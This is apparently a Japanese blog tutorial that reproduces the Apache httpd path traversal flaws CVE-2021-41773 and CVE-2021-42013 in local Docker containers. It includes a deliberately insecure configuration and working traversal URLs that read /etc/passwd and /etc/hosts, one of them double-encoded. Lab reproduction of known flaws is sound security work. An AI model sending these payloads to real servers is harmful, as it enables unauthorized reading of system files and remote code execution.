5
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

CVE-2021-41773とCVE-2021-42013をDockerで確認する

Last updated at Posted at 2021-10-06

httpd.confをローカルにコピー

$ docker pull httpd:2.4.49

$ docker run -v $(pwd):/tmp --name cve -it --entrypoint sh httpd:2.4.49

# cp conf/httpd.conf /tmp/

httpd.conf ファイルの編集

<Directory />
    AllowOverride none
    Require all denied
</Directory>

<Directory />
    AllowOverride none
    Require all granted
</Directory>

に修正

Dockerfileを作る

FROM httpd:2.4.49
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf

ビルドと起動 (ポート18882で待ち受けてるけどどこでもいい)

$ docker build -t apache-vuln .

$ docker run -dit --name cve-2021-41773 -p 18882:80 apache-vuln

burpで実行

http://localhost:18882/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

スクリーンショット 2021-10-06 13.08.27.png

バージョンアップされた2.4.50 で試す

  • Dockerfileを更新
  • httpd.confは流用
FROM httpd:2.4.50
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf

ビルドと起動 (ポート18883で待ち受けてるけどどこでもいい)

$ docker build -t apache-2450 .

$ docker run -dit --name CVE-2021-42013 -p 18883:80 apache-2450

burpで実行

修正されてる

スクリーンショット 2021-10-08 12.09.14.png

別のペイロードを送る (CVE-2021-41773)

http://localhost:18883/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/hosts

スクリーンショット 2021-10-08 12.09.27.png

RCEを試す

  • httpd.conf ファイルの編集
<IfModule !mpm_prefork_module>
	LoadModule cgid_module modules/mod_cgid.so
</IfModule>
<IfModule mpm_prefork_module>
	LoadModule cgi_module modules/mod_cgi.so
</IfModule>

に修正

  • Dockerfileはそのまま

ビルドと起動 (ポート18884で待ち受けてるけどどこでもいい)

$ docker build -t apache-2450-2 .

$ docker run -dit --name CVE-2021-42013-RCE -p 18884:80 apache-2450-2

burpで実行

スクリーンショット 2021-10-08 20.45.56.png

5
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?